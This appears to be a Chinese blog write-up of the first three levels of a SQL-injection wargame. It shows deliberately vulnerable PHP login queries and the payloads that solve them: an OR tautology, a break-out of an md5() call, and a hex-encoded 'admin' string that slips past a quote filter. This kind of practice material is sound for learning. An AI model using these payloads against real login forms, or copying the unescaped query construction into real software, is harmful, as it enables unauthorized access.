WriteUp4

SQL注入

Posted by Distiny on October 21, 2022

靶场:LORD OF SQLINJECTION

靶场名字很中二,全部是sql注入的题目,难度据说依次提升,今天做了前四道题

第一题 Gremlin

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

字符型注入

?id=' or '1'='1&pw=' or '1'='1

构造结果为:

select id from prob_gremlin where id=’’ or ‘1’=’1’ and pw=’’ or ‘1’=’1’

第二题 Cobolt

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>
?pw=1') or (id = 'admin

构造结果为:

select id from prob_cobolt where id=’’ and pw=md5(‘1’) or (id = ‘admin’)

第三题 Goblin

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

数值型注入

随便写no = 1发现出现Hello guest,看来guest的no是1。

那试试2,?no=0 or no = 2

23333,果然admin的no是2,直接出结果了。。。

实际上肯定是要?no = 0 or id = 'admin'

但是这道题里面把'过滤了,所以上述语句无法执行

改成/?no=0 or id=0x61646d696e就可以了,0x61646d696e是admin的16进制形式。

因为MySQL支持16进制值,且其默认类型就是字符串,而且它在数字上下文中,还可以当作整数,例如:

mysql> SELECT 0x61;
+------+
| 0x61 |
+------+
| a    |
+------+

mysql> SELECT 0x61+1;
+--------+
| 0x61+1 |
+--------+
|     98 |
+--------+

mysql> SELECT 0x61646d696e+1;
+----------------+
| 0x61646d696e+1 |
+----------------+
|   418296719727 |
+----------------+
1 row in set (0.00 sec)

如果要把其当作其他类型,可以使用CAST()函数

mysql> SELECT CAST(0x61 AS UNSIGNED);
+------------------------+
| CAST(0x61 AS UNSIGNED) |
+------------------------+
|                     97 |
+------------------------+

在MySQL中还可以用HEX()函数将一个字符串或数字转换为十六进制格式的字符串:

mysql> SELECT HEX('SQL');
+------------+
| HEX('SQL') |
+------------+
| 53514C     |
+------------+
1 row in set (0.00 sec)

mysql> SELECT 0x53514C;
+----------+
| 0x53514C |
+----------+
| SQL      |
+----------+
1 row in set (0.00 sec)